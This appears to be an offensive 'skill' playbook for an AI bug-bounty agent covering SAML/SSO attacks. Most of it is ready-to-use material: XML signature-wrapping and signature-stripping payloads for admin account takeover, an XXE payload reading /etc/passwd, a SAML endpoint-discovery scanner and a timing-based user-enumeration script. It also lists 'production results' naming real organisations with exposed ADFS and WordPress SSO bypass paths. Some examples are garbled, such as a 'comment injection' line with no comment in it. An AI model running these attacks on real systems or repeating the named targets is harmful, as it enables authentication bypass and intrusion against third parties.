| name | hunt-saml |
| description | Hunt SAML / SSO attacks. Patterns: XML Signature Wrapping (XSW) — modify Assertion while keeping Signature valid by relocating signed element, comment injection in NameID (admin@target.com<!--evil-->@attacker.com → some parsers see admin@target.com), signature stripping (remove Signature element entirely, server should reject but doesn't), key confusion (signed by attacker's IdP, accepted by SP), audience-restriction not validated, replay attack (same Assertion accepted twice within validity window). Tools: SAML Raider Burp extension, samlmagic, manual XML manipulation. Detection: any /saml endpoint, /Shibboleth.sso, /sso/saml/, Microsoft ADFS endpoints. Validate: account takeover via altered NameID, admin role injection via altered AttributeStatement. Use when hunting SSO flows, when SAML AssertionConsumerService is reachable, when chaining IdP-trust to SP-impersonation. |
| sources | bug_bounty_reports, offensive_research |
| report_count | 10 |
20. SAML / SSO ATTACKS
SSO bugs frequently pay High–Critical. XML parsers are notoriously inconsistent.
Attack Surface
cat recon/$TARGET/urls.txt | grep -iE "saml|sso|login.*redirect|oauth|idp|sp"
Attack 1: XML Signature Wrapping (XSW)
<saml:Response>
<saml:Assertion ID="legit">
<NameID>user@company.com</NameID>
<ds:Signature></ds:Signature>
</saml:Assertion>
</saml:Response>
<saml:Response>
<saml:Assertion ID="evil">
<NameID>admin@company.com</NameID>
</saml:Assertion>
<saml:Assertion ID="legit">
<NameID>user@company.com</NameID>
<ds:Signature></ds:Signature>
</saml:Assertion>
</saml:Response>
Attack 2: Comment Injection in NameID
<NameID>admin@company.com.evil.com</NameID>
Attack 3: Signature Stripping
1. Decode SAMLResponse: echo "BASE64" | base64 -d | xmllint --format - > saml.xml
2. Delete the entire <Signature> element
3. Change NameID to admin@company.com
4. Re-encode: base64 -w0 saml.xml (POST binding = raw base64, NO compression; Redirect binding uses raw DEFLATE — not gzip)
5. Submit — if server doesn't verify signature presence = admin ATO
Attack 4: XXE in SAML Assertion
<?xml version="1.0"?>
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
<saml:Assertion>
<NameID>&xxe;</NameID>
</saml:Assertion>
Attack 5: NameID Manipulation
Test these NameID values:
- admin@company.com (generic admin)
- administrator@company.com
- support@target.com
- Any email found in disclosed reports for this program
- ${7*7} (SSTI if NameID gets rendered in a template)
Tools
echo "BASE64_SAML" | base64 -d > saml.xml
base64 -w0 saml.xml
SAML Triage
XSW successful = Critical (ATO any user)
Sig stripping = Critical (ATO any user)
Comment injection = High (ATO admin)
XXE in assertion = High (file read / SSRF)
NameID manip = Medium/High (depends on what NameID maps to)
Attack 6: The Fragile Lock — SAML Bypasses (Fedotkin, Dec 2025)
Source: https://portswigger.net/research/the-fragile-lock
The research by Alexander Fedotkin (Dec 2025) reveals entire classes of SAML bypasses rooted in
parser differentials, canonicalization mismatches, and multi-signature confusion. Three key vectors:
6a. Parser Differentials
Different XML parsers (libxml2, Xerces, MSXML, System.Xml in .NET) disagree on:
- XML comment boundaries — signer uses
C14N without comments, verifier uses C14N with comments,
or vice versa. The effective signed value differs from the verified value.
- Whitespace normalization —
NameID with trailing spaces, tab-vs-space between attributes,
namespace prefix expansion (xmlns:prefix vs inherited default namespace).
- Entity expansion order — Internal entity vs external entity processing order in the parser
pipeline can produce a post-parse DOM that differs from the pre-sign-verified canonical form.
- CDATA section handling —
<NameID><![CDATA[admin@company.com]]></NameID> vs
<NameID>admin@company.com</NameID> — some parsers strip CDATA, some keep it.
Detection script:
echo "<saml:Assertion ID="legit"><NameID> admin@company.com </NameID><ds:Signature>...</ds:Signature></saml:Assertion>" | base64
echo "<saml:Assertion ID="legit"><NameID><![CDATA[admin@company.com]]></NameID><ds:Signature>...</ds:Signature></saml:Assertion>" | base64
echo "<saml:Assertion xmlns:saml="urn:oasis:names:tc:SAML:2.0:assertion" ID="legit"><NameID>admin@evil.com</NameID><ds:Signature>...</ds:Signature></saml:Assertion>" | base64
6b. Multi-Signature / Signature Copy
Some SPs accept assertions with MULTIPLE <ds:Signature> elements. An attacker can:
- Obtain a valid signature for ANY assertion (e.g., from a public SAML demo IdP or from a prior login).
- Strip the original signed assertion, keeping only the
<ds:Signature>.
- Wrap a NEW evil assertion with the copied-signature element attached.
<saml:Response>
<saml:Assertion ID="evil">
<NameID>admin@company.com</NameID>
<AttributeStatement>
<Attribute Name="Role"><AttributeValue>Administrator</AttributeValue></Attribute>
</AttributeStatement>
</saml:Assertion>
<ds:Signature></ds:Signature>
</saml:Response>
6c. New XSW Variants (XSW2–XSW8)
Beyond the classic XSW1 (duplicate assertion injection), these variants circumvent modern SAML
libraries that added position-based or ID-based signature binding:
| Variant | Technique | Bypasses |
|---|
| XSW2 | Move <ds:Signature> INSIDE a child element of the evil assertion | Libraries that verify signature position relative to root |
| XSW3 | Split assertion across XML-comment boundaries in the reference URI | Libraries that use URI-fragment matching |
| XSW4 | Inject a second AssertionIDRef / AuthnStatement inside the signed assertion | Libraries that process all statements, not just first |
| XSW5 | Use xml:id / ID attribute on the INJECTED assertion matching the signed reference's URI | Libraries that match by ID string, not DOM position |
| XSW6 | Namespace-prefix injection — declare an alias for the SAML namespace so the injected assertion uses a different prefix but same namespace | Libraries that key on prefix string |
| XSW7 | XML External Entity (XXE) inside the signature-reference URI to poison the digest check | Libraries that resolve entities during signature validation |
| XSW8 | XSLT transform injection in the <ds:Transform> element — transforms the post-signature DOM | Libraries that apply transforms after verification |
Probing script for XSW2–XSW5:
xsw2_payload = '''<saml:Response>
<saml:Assertion ID="evil">
<NameID>admin@company.com</NameID>
<ds:Signature><!-- Copied valid signature --></ds:Signature>
</saml:Assertion>
</saml:Response>'''
xsw3_payload = '''<saml:Response>
<saml:Assertion ID="legit"><!-- ID actually referenced by signature URI -->
...
</saml:Assertion>
<saml:Assertion ID="evil"><!-- Not referenced but processed first -->
<NameID>admin@company.com</NameID>
</saml:Assertion>
</saml:Response>'''
xsw4_payload = '''<saml:Response>
<saml:Assertion ID="legit">
<ds:Signature><!-- Valid --></ds:Signature>
<saml:AuthnStatement><!-- SP reads this one, overrides original -->
<saml:AuthnContext><saml:AuthnContextClassRef>urn:oasis:names:tc:SAML:2.0:ac:classes:PreviousSession</saml:AuthnContextClassRef></saml:AuthnContext>
</saml:AuthnStatement>
<saml:AttributeStatement>
<saml:Attribute Name="Role"><saml:AttributeValue>Administrator</saml:AttributeValue></saml:Attribute>
</saml:AttributeStatement>
</saml:Assertion>
</saml:Response>'''
Triage: Key Confusion Variant
When the SP trusts MULTIPLE IdPs (common in federated environments), an assertion signed by
IdP-A (attacker-controlled IdP) is sent to an SP that trusts IdP-B (victim IdP). If the SP does not
validate <Issuer> or <AudienceRestriction>, the attacker-IdP-signed assertion grants access.
Automated SAML Endpoint Discovery
TARGET="$1"
echo "[*] SAML endpoint discovery on $TARGET"
declare -A SAML_PATHS
SAML_PATHS["/saml2/idp/metadata.php"]="SimpleSAMLphp IdP"
SAML_PATHS["/saml2/sp/metadata.php"]="SimpleSAMLphp SP"
SAML_PATHS["/FederationMetadata/2007-06/FederationMetadata.xml"]="ADFS"
SAML_PATHS["/adfs/ls/IdpInitiatedSignOn.aspx"]="ADFS Login"
SAML_PATHS["/adfs/services/trust"]="ADFS WS-Trust"
SAML_PATHS["/auth/realms/master/protocol/saml"]="Keycloak SAML"
SAML_PATHS["/.well-known/openid-configuration"]="OIDC"
SAML_PATHS["/sso/saml"]="Generic SAML"
SAML_PATHS["/idp/shibboleth"]="Shibboleth"
SAML_PATHS["/simplesamlphp"]="SimpleSAMLphp root"
for path in "${!SAML_PATHS[@]}"; do
code=$(curl -sk -o /dev/null -w "%{http_code}" --max-time 5 "https://$TARGET$path")
[[ "$code" == "200" || "$code" == "302" ]] && echo " [FOUND] $path — ${SAML_PATHS[$path]} (HTTP $code)"
done
IdP Metadata Extraction
METADATA_URL="$1"
curl -sk --max-time 10 "$METADATA_URL" | python3 -c "
import sys
from xml.etree import ElementTree as ET
content = sys.stdin.read()
root = ET.fromstring(content)
ns = {'md': 'urn:oasis:names:tc:SAML:2.0:metadata',
'ds': 'http://www.w3.org/2000/09/xmldsig#'}
entity_id = root.get('entityID', 'unknown')
print(f'Entity ID: {entity_id}')
for cert_el in root.iter('{http://www.w3.org/2000/09/xmldsig#}X509Certificate'):
cert = cert_el.text.strip()
print(f'Signing Cert ({len(cert)} chars): {cert[:60]}...')
for el in root.iter():
if 'Binding' in el.attrib:
location = el.attrib.get('Location', '')
if 'HTTP-Redirect' in el.attrib['Binding'] or 'HTTP-POST' in el.attrib['Binding']:
print(f'Endpoint: {location}')
for el in root.iter('{urn:oasis:names:tc:SAML:2.0:metadata}NameIDFormat'):
print(f'NameID Format: {el.text}')
"
Attack 7: SSO Timing-Based User Enumeration
TARGET="$1"
USERS_FILE="$2"
echo "[*] SSO timing-based user enumeration"
while read -r user; do
START=$(date +%s%N)
curl -sk -o /dev/null --max-time 15 \
"https://$TARGET/sso/login?username=$user&password=WRONG_PASS" 2>/dev/null
END=$(date +%s%N)
ELAPSED=$(( (END - START) / 1000000 ))
echo " $user: ${ELAPSED}ms"
done < "$USERS_FILE" | sort -t: -k2 -rn | head -20
echo "[*] Users with significantly higher response times likely exist"
High-Value Misconfiguration Checks (Assertion-Level)
| Theme | What to Check |
|---|
| signature validation | unsigned assertion accepted, wrong node signed, signature wrapping |
| audience and recipient | weak Audience, Recipient, Destination, or ACS validation |
| issuer trust | wrong IdP accepted or multi-tenant issuer confusion |
| replay and freshness | missing InResponseTo, weak NotBefore / NotOnOrAfter enforcement |
| account mapping | email-only binding, case folding, unverified attributes |
| XML parser behavior | XXE-like parser issues or unsafe transforms around SAML documents |
SAML Triage Summary
- Capture one full login round trip.
- Inspect which XML nodes are signed and which attributes drive account binding.
- Compare SP-initiated and IdP-initiated flows.
- Test replay, altered attributes, and assertion placement confusion.
Real Production Results
MPF Argentina (SimpleSAMLphp IdP)
- SAML metadata exposed at
/saml2/idp/metadata.php
- WordPress SP with 79 XMLRPC methods active behind SSO
- SSO blocks direct WP access but XMLRPC bypasses SSO entirely
ADFS (Panco / Brazilian government / Monaco)
- ADFS WS-Trust endpoint at
/adfs/services/trust exposed
UsernameMixed endpoint allows credential testing
- Combined with Office 365 tenant ID extraction
SSO-Protected WordPress (common pattern)
- WordPress behind SSO redirects all
/wp-admin/ to IdP
- But
/wp-json/ and /xmlrpc.php are NOT behind SSO
- REST API and XMLRPC remain accessible without SSO authentication
Related Skills & Chains
hunt-ato — SAML XSW with absent audience-restriction validation is the canonical SP-impersonation-of-admin chain. Chain primitive: XSW1 attack relocates signed assertion to a secondary position + injects evil assertion with NameID=admin@target.com in primary position + SP processes first assertion (the evil one) + SP doesn't validate <AudienceRestriction> so an assertion intended for IdP-A is accepted by SP-B → admin ATO across federated tenant boundary.
hunt-auth-bypass — SAML signature-stripping is the textbook auth-bypass pattern; this skill provides the SAML mechanics, hunt-auth-bypass provides the broader bypass-discipline. Chain primitive: capture valid SAMLResponse → regex-strip <ds:Signature> element entirely → modify <NameID> to admin → re-encode base64 → POST to /saml/acs → SP wantAssertionsSigned=false silently accepts → admin session issued without any cryptographic challenge.
hunt-oauth — SAML-fronted OAuth issuers turn assertion-level bugs into token-level ATO. Chain primitive: SP issues OAuth bearer tokens after SAML assertion validation + XSW alters NameID to admin → SP's token endpoint issues OAuth token bearing admin claims → all downstream OAuth-scoped APIs (admin API, billing API, user-management API) grant admin access from a single forged assertion.
hunt-xxe — SAML assertions ARE XML; XXE in the assertion parser is a separate chain on top of XSW. Chain primitive: SAML parser without disallow-doctype-decl + <!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]> in assertion + <NameID>&xxe;</NameID> → SP renders/logs NameID → /etc/passwd contents leak in error response or audit log → file-read primitive on SAML SP infrastructure.
security-arsenal — Pull the SAML/XSW Payload Catalog (XSW1-XSW8 templates, comment-injection variants for libxml/Xerces/MSXML parser differences, signature-wrapping with multiple Reference elements, key-confusion payloads where attacker-IdP-signed assertions are accepted by trust-naive SPs) and the always-rejected list for "SAMLResponse accepted on the wrong endpoint" claims that don't actually validate.
triage-validation — Run the Pre-Severity Gate before claiming Critical on a SAML "vulnerability" that only modifies non-security-relevant attributes (display name, locale) without altering NameID, AuthnContext, or role-bearing AttributeStatements. Theoretical XML manipulation that doesn't cross an authorization boundary is Informational, not Critical — the auth-decision-changing step is the gate.